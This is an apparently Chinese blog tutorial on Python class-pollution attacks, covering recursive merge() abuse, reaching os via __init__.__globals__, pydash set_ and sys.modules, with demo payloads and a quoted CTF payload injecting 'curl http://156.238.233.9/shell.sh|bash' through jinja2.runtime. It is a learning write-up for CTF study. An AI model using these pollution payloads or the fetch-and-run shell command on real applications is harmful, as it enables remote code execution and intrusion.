当前位置: 首页 > article >正文

python 原型链污染学习

  • 复现SU的时候遇到一道python原型链污染的题,借此机会学一下
  • 参考:
    • 【原型链污染】Python与Js
    • https://blog.abdulrah33m.com/prototype-pollution-in-python/
    • pydash原型链污染

文章目录

  • 基础知识
  • 对父类的污染
  • 命令执行
  • 对子类的污染
  • pydash原型链污染
  • 打污染的一些手法

基础知识

python的原型链污染实际是一些对类的操作,我们的输入一般是str或者int,所以不能使用

a.__class__=‘pollute’

但是a还有一个属性__qualname__,可以访问和修改类名

a.__class_.__qualname_=‘pollute’
假如原本a是poerson类,在此修改之后就会变成pollute类

接下来看merge函数,这个函数实现了对两个字典的递归合并,如果原来已有的键值对会被覆盖,新的键值对会被加进去,举个例子

合并两个字典
dict1 = {"a": {"x": 1}, "b": 2}
dict2 = {"a": {"y": 2}, "c": 3}
merge(dict1, dict2)
# dict2 = {"a": {"x": 1, "y": 2}, "b": 2, "c": 3}
覆盖原有值
class Settings:def __init__(self):self.theme = "dark"config = {"theme": "light", "font": "Arial"}
settings = Settings()
merge(config, settings)
# settings.theme = "light", settings.font = "Arial"
深层更新
default_config = {"database": {"host": "localhost"}}
user_config = {"database": {"port": 5432}}
merge(user_config, default_config)
# default_config = {"database": {"host": "localhost", "port": 5432}}

到这里你应该理解merge函数的作用了,来看看它的源码

def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值merge(v, getattr(dst, k))else:setattr(dst, k, v)

所以,我们可以利用这个函数进行污染

对父类的污染

payload = {"__class__":{"__base__":{"__qualname__":"Polluted"}}
}
merge(a,payload)
print(a.__class__.__base__) #<class '__main__.Polluted '>

当然,对于不可变类型Object或者str等,Python限制不能对其进行修改。

命令执行

在一些存在命令执行的类里,我们就可以尝试覆盖cmd

def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值merge(v, getattr(dst, k))else:setattr(dst, k, v)
class exp:def __init__(self,cmd):self.cmd=cmddef excute(self):os.system(self.cmd)
a=exp('none')
b={"cmd":"calc"}
merge(b,a)
a.excute()

对子类的污染

在学习污染子类之前,先看一点前置知识在这里插入图片描述
其实很像SSTI,这个全局变量可以从任何已知函数的方法访问,比如我们常用的._init_.__globals__来找可以用来执行命令的模块,就是基于这个原理,__init__属性是类中常见的函数,所以可以直接用它来实现访问__globas__变量
接下来实现篡改os模块的一个环境变量

{"__init__": {"__globals__": {"subprocess": {"os": {"environ": {"COMSPEC": "cmd /c calc"  # 篡改环境变量 COMSPEC}}}}}
}

COMSPEC 环境变量的意义
在 Windows 中,COMSPEC 指定了系统命令解释器的路径(默认为 cmd.exe)。
篡改为 cmd /c calc 后,subprocess 调用系统命令时会直接执行计算器。
用subprocess模块主要是为了找到os,如果有os模块直接调用即可

看看完整攻击命令

import subprocess, jsonclass Employee:def __init__(self):passdef merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])subprocess.Popen('whoami', shell=True) 

pydash原型链污染

set_(notes, key, value)

pydash库的set_函数,可以说是在实际环境中的merge函数,用于将键值对添加到类中

from pydash import set_
class user:def __init__(self):pass
test_str='123456'
set_(user(),'__class__.__init__.__globals__.test_str','789')
print(test_str)
#789

不过这里当个例子看就行,因为pydash库现在不允许直接对global,builtins这样的变量进行修改在这里插入图片描述
调试set_函数,跟进到update_with函数,可以看到跟merge函数起到类似的作用

def update_with(obj, path, updater, customizer=None):  # noqa: PLR0912"""This method is like :func:`update` except that it accepts customizer which is invoked to producethe objects of path. If customizer returns ``None``, path creation is handled by the methodinstead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.Args:obj: Object to modify.path: A string or list of keys that describe the object path to modify.updater: Function that returns updated value.customizer: The function to customize assigned values.Returns:Updated `obj`.Warning:`obj` is modified in place.Example:>>> update_with({}, "[0][1]", lambda: "a", lambda: {}){0: {1: 'a'}}.. versionadded:: 4.0.0"""if not callable(updater):updater = pyd.constant(updater)if customizer is not None and not callable(customizer):call_customizer = partial(callit, clone, customizer, argcount=1)elif customizer:call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))else:call_customizer = Nonedefault_type = dict if isinstance(obj, dict) else listtokens = to_path_tokens(path)last_key = pyd.last(tokens)if isinstance(last_key, PathToken):last_key = last_key.keytarget = objfor idx, token in enumerate(pyd.initial(tokens)):key = token.keydefault_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)obj_val = base_get(target, key, default=None)path_obj = Noneif call_customizer:path_obj = call_customizer(obj_val, key, target)if path_obj is None:path_obj = default_factory()base_set(target, key, path_obj, allow_override=False)try:target = base_get(target, key, default=None)except TypeError as exc:  # pragma: no covertry:target = target[int(key)]_failed = Falseexcept Exception:_failed = Trueif _failed:raise TypeError(f"Unable to update object at index {key!r}. {exc}") from excvalue = base_get(target, last_key, default=None)base_set(target, last_key, callit(updater, value))return obj

虽然set_函数的注释里就可以看出它的作用,但是底层真正起到作用的还是update_with函数

def set_(obj: T, path: PathT, value: t.Any) -> T:"""Sets the value of an object described by `path`. If any part of the object path doesn't exist,it will be created.Args:obj: Object to modify.path: Target path to set value to.value: Value to set.Returns:Modified `obj`.Warning:`obj` is modified in place.Example:>>> set_({}, "a.b.c", 1){'a': {'b': {'c': 1}}}>>> set_({}, "a.0.c", 1){'a': {'0': {'c': 1}}}>>> set_([1, 2], "[2][0]", 1)[1, 2, [1]]>>> set_({}, "a.b[0].c", 1){'a': {'b': [{'c': 1}]}}.. versionadded:: 2.2.0.. versionchanged:: 3.3.0Added :func:`set_` as main definition and :func:`deep_set` as alias... versionchanged:: 4.0.0- Modify `obj` in place.- Support creating default path values as ``list`` or ``dict`` based on whether key or indexsubstrings are used.- Remove alias ``deep_set``."""return set_with(obj, path, value)

打污染的一些手法

  • sys模块加载获取
    引用sys模块下的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块
    如果可以把目标模块污染成我们想要的命令,那命令是不是就可以自运行了
    在这里插入图片描述

  • 通过 loader._init_._globals_[‘sys’]来获取sys模块
    (loader加载器的作用是实现模块加载,在内置模块importlib中具体实现,而importlib模块下所有的py文件中均引入了sys模块)
    在这里插入图片描述

  • 在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>._spec._init_._globals_[‘sys’]获取到sys模块

了解到这些之后我们再来看SU的payload

payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#"}

runtime有什么用呢在这里插入图片描述

相关文章:

python 原型链污染学习

复现SU的时候遇到一道python原型链污染的题&#xff0c;借此机会学一下参考&#xff1a; 【原型链污染】Python与Jshttps://blog.abdulrah33m.com/prototype-pollution-in-python/pydash原型链污染 文章目录 基础知识对父类的污染命令执行对子类的污染pydash原型链污染打污染的…...

Windows 图形显示驱动开发-WDDM 2.4功能-GPU 半虚拟化(十一)

注册表设置 GPU虚拟化标志 GpuVirtualizationFlags 注册表项用于设置半虚拟化 GPU 的行为。 密钥位于&#xff1a; DWORD HKLM\System\CurrentControlSet\Control\GraphicsDrivers\GpuVirtualizationFlags 定义了以下位&#xff1a; 位描述0x1 ​ 为所有硬件适配器强制设置…...

入栈操作-出栈操作

入栈操作 其 入栈操作 汇编代码流程解析如下&#xff1a; 出栈操作 其 出栈操作 汇编代码流程解析如下&#xff1a;...

C++ 多态:面向对象编程的核心概念(一)

文章目录 引言1. 多态的概念2. 多态的定义和实现2.1 实现多态的条件2.2 虚函数2.3 虚函数的重写/覆盖2.4 虚函数重写的一些其他问题2.5 override 和 final 关键字2.6 重载/重写/隐藏的对比 3. 纯虚函数和抽象类 引言 多态是面向对象编程的三大特性之一&#xff08;封装、继承、…...

传统策略梯度方法的弊端与PPO的改进:稳定性与样本效率的提升

为什么传统策略梯度方法&#xff08;如REINFORCE算法&#xff09;在训练过程中存在不稳定性和样本效率低下的问题 1. 传统策略梯度方法的基本公式 传统策略梯度方法的目标是最大化累积奖励的期望值。具体来说&#xff0c;优化目标可以表示为&#xff1a; max ⁡ θ J ( θ )…...

我的机器学习学习之路

学习python的初衷 • hi&#xff0c;今天给朋友们分享一下我是怎么从0基础开始学习机器学习的。 • 我是2023年9月开始下定决心要学python的&#xff0c;目的有两个&#xff0c;一是为了提升自己的技能和价值&#xff0c;二是将所学的知识应用到工作中去&#xff0c;提升工作…...

Spring Boot 的自动装配

Spring Boot 的自动装配&#xff08;Auto Configuration&#xff09;是其核心特性之一&#xff0c;通过智能化的条件判断和配置加载机制&#xff0c;极大简化了传统 Spring 应用的配置复杂度。其原理和实现过程可概括为以下几个关键点&#xff1a; 一、核心触发机制&#xff1a…...

Python数据可视化-第3章-图表辅助元素的定制

教材 本书为《Python数据可视化》一书的配套内容&#xff0c;本章为第3章-图表辅助元素的定制 本章主要介绍了图表辅助元素的定制&#xff0c;包括认识常用的辅助元素、设置坐标轴的标签、设置刻度范围和刻度标签、添加标题和图例、显示网格、添加参考线和参考区域、添加注释文…...

`git commit --amend` 详解:修改提交记录的正确方式

文章目录 git commit --amend 详解&#xff1a;修改提交记录的正确方式1. 修改提交信息2. 补充遗漏的文件3. 结合 --amend 进行交互式修改4. 已推送提交的修改总结 git commit --amend 详解&#xff1a;修改提交记录的正确方式 git commit --amend 用于修改最近一次的提交&…...

Linux系统下C语言fork函数使用案例

一、fork函数的作用 生成一个子进程&#xff0c;异步执行某个任务&#xff1b; 二、子进程的作用 1、子进程能复制一份父进程的变量、函数&#xff1b; 2、子进程可以和父进程同时并发执行&#xff1b; 函数语法&#xff1a; pid_t fork() 说明&#xff1a;调用后返回一个进程…...

springboot实现异步导入Excel的注意点

springboot实现异步导入Excel 需求前言异步导入面临的问题实现异步如何导入大Excel文件避免OOM&#xff1f;异步操作后&#xff0c;如何通知导入结果&#xff1f;如何加快导入效率&#xff1f;将导入结果通知给用户后&#xff0c;如何避免重复通知&#xff1f; 优化点完结撒花&…...

Linux练习——有关硬盘、联网、软件包的管理

1、将你的虚拟机的网卡模式设置为nat模式&#xff0c;给虚拟机网卡配置三个主机位分别为100、200、168的ip地址 #使用nmtui打开文本图形界面配置网络 [rootrhcsa0306 ~]# nmtui #使用命令激活名为 ens160 的 NetworkManager 网络连接 [rootrhcsa0306 ~]# nmcli c up ens160 #通…...

论文阅读:GS-Blur: A 3D Scene-Based Dataset for Realistic Image Deblurring

今天介绍一篇 2024 NeurIPS 的文章&#xff0c;是关于真实世界去模糊任务的数据集构建的工作&#xff0c;论文作者来自韩国首尔大学 Abstract 要训练去模糊网络&#xff0c;拥有一个包含成对模糊图像和清晰图像的合适数据集至关重要。现有的数据集收集模糊图像的方式主要有两…...

经典动态规划问题:爬楼梯的多种解法详解

引言 今天我们要解决一个经典的算法问题——爬楼梯问题。这个问题看似简单&#xff0c;但蕴含了多种解法&#xff0c;从递归到动态规划&#xff0c;再到组合数学&#xff0c;每种方法都有其独特的思路和优化方式。本文将详细讲解四种解法&#xff0c;并通过代码和图解帮助大家…...

Kubernetes深度解析:云原生时代的容器编排引擎

一、背景与演进 1. 容器革命的必然产物 Kubernetes&#xff08;K8s&#xff09;诞生于2014年&#xff0c;是Google基于其内部Borg系统的开源实现。在传统单体应用向微服务架构转型的浪潮中&#xff0c;容器技术&#xff08;如Docker&#xff09;解决了应用打包和环境隔离问题…...

Cocos Creator Shader入门实战(七):RGB不同算法效果的实现,及渲染技术、宏定义、属性参数的延伸配置

引擎&#xff1a;3.8.5 您好&#xff0c;我是鹤九日&#xff01; 回顾 上篇文章&#xff0c;讲解了Cocos Shader如何通过setProperty动态设置材质的属性&#xff0c;以及设置属性时候的一些注意事项&#xff0c;比如&#xff1a; 一、CCEffect部分properties参数的设定后&…...

leetcode102 二叉树的层次遍历 递归

(1) 找出重复的子问题。 层次遍历是每一层的节点从左到右的遍历&#xff0c;所以在遍历的时候我们可以先遍历左子树&#xff0c;再遍历右子树。 需要注意的是&#xff0c;在遍历左子树或者右子树的时候&#xff0c;涉及到向上或者向下遍历&#xff0c;为了让递归的过程中的同…...

Netty源码—10.Netty工具之时间轮二

大纲 1.什么是时间轮 2.HashedWheelTimer是什么 3.HashedWheelTimer的使用 4.HashedWheelTimer的运行流程 5.HashedWheelTimer的核心字段 6.HashedWheelTimer的构造方法 7.HashedWheelTimer添加任务和执行任务 8.HashedWheelTimer的完整源码 9.HashedWheelTimer的总结…...

算法学习记录:递归

递归算法的关键在于回复现场&#xff0c;dfs&#xff08;&#xff09;函数返回值、结束条件、它的作用。 目录 1.综合练习 2. 二叉树的深搜 1.综合练习 39. 组合总和 - 力扣&#xff08;LeetCode&#xff09; 关键在画出的决策树当中&#xff0c;前面使用过的2、3&#xff0c;…...

启山智软实现b2c单商户商城对比传统单商户的优势在哪里?

启山智软实现 B2C 单商户商城具有以下对比优势&#xff1a; 技术架构方面 先进的框架选型&#xff1a;基于 SpringCloud 等主流框架开发&#xff0c;是百万真实用户沉淀并检验的商城系统&#xff0c;技术成熟稳定&#xff0c;能应对高并发场景&#xff0c;保证系统在大流量访…...

可发1区的超级创新思路(python\matlab实现):MPTS+Lconv+注意力集成机制的Transformer时间序列模型

首先声明,该模型为原创!原创!原创!且该思路还未有成果发表,感兴趣的小伙伴可以借鉴! 应用场景 该模型主要用于时间序列数据预测问题,包含功率预测、电池寿命预测、电机故障检测等等。 一、模型整体架构(本文以光伏功率预测为例) 本模型由多尺度特征提取模块(MPTS)…...

三、分类模块,通用组件顶部导航栏Navbar

1.封装通用组件顶部导航栏Navbar 不同效果 Component export struct MkNavbar {Prop title: string Prop leftIcon: ResourceStr $r("app.media.ic_public_left")ProprightIcon: ResourceStr $r("app.media.ic_public_more")PropshowLeftIcon: boolean…...

PHY——LAN8720A 寄存器读写 (二)

文章目录 PHY——LAN8720A 寄存器读写 (二)工程配置引脚初始化代码以太网初始化代码PHY 接口实现LAN8720 接口实现PHY 接口测试 PHY——LAN8720A 寄存器读写 (二) 工程配置 这里以野火电子的 F429 开发板为例&#xff0c;配置以太网外设 这里有一点需要注意原理图 RMII_TXD0…...

Flutter_学习记录_AppBar中取消leading的占位展示

将leading设置为null将automaticallyImplyLeading设置为false 看看automaticallyImplyLeading的说明&#xff1a; Controls whether we should try to imply the leading widget if null. If true and [AppBar.leading] is null, automatically try to deduce what the leading…...

PHP泛型与集合的未来:从动态类型到强类型的演进

文章精选推荐 1 JetBrains Ai assistant 编程工具让你的工作效率翻倍 2 Extra Icons&#xff1a;JetBrains IDE的图标增强神器 3 IDEA插件推荐-SequenceDiagram&#xff0c;自动生成时序图 4 BashSupport Pro 这个ides插件主要是用来干嘛的 &#xff1f; 5 IDEA必装的插件&…...

未来派几何风格包装徽标品牌海报标牌logo设计无衬线英文字体安装包 Myfonts – Trakya Sans Font Family

Trakya Sans 是一种具有几何风格的现代无衬线字体。Futura、Avant Garde 等。它具有现代条纹&#xff0c;这是宽度和高度协调的结果&#xff0c;尤其是在小写字母中&#xff0c;以支持易读性。 非常适合广告和包装、编辑和出版、徽标、品牌和创意产业、海报和广告牌、小文本、寻…...

C语言深度解析:从零到系统级开发的完整指南

一、C语言的核心特性与优势 1. 高效性与直接硬件控制 C语言通过编译为机器码的特性&#xff0c;成为系统级开发的首选语言。例如&#xff0c;Linux内核通过C语言直接操作内存和硬件寄存器&#xff0c;实现高效进程调度。 关键点&#xff1a; malloc/free直接管理内存&#…...

ctfshow WEB web8

首先确定注入点&#xff0c;输入以下payload使SQL恒成立 ?id-1/**/or/**/true 再输入一下payload 使SQL恒不成立 ?id-1/**/or/**/false 由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示 由以上返回结果可知&#xff0c;该页面存在SQL注入&#xff0c;注入点…...

【Linux】U-Boot 加载并启动 Linux 系统程序

U-Boot 加载并启动 Linux 系统程序 零、介绍 最近在玩一些嵌入式的开发板&#xff0c;在引导操作系统时需要用到U-Boot&#xff0c;故此研究一下。 U-Boot&#xff08;Universal Bootloader&#xff09;是一款开源的通用引导加载程序&#xff0c;专为嵌入式系统设计&#xff…...

jarvisoj API调用 [JSON格式变XXE]

http://web.jarvisoj.com:9882/ 题目要求&#xff1a;请设法获得目标机器 /home/ctf/flag.txt 中的flag值 抓包得到&#xff1a; POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 Content-Length: 36 Accept-Language: zh-CN,zh;q0.9 User-Agent: Mozilla/5.0 (W…...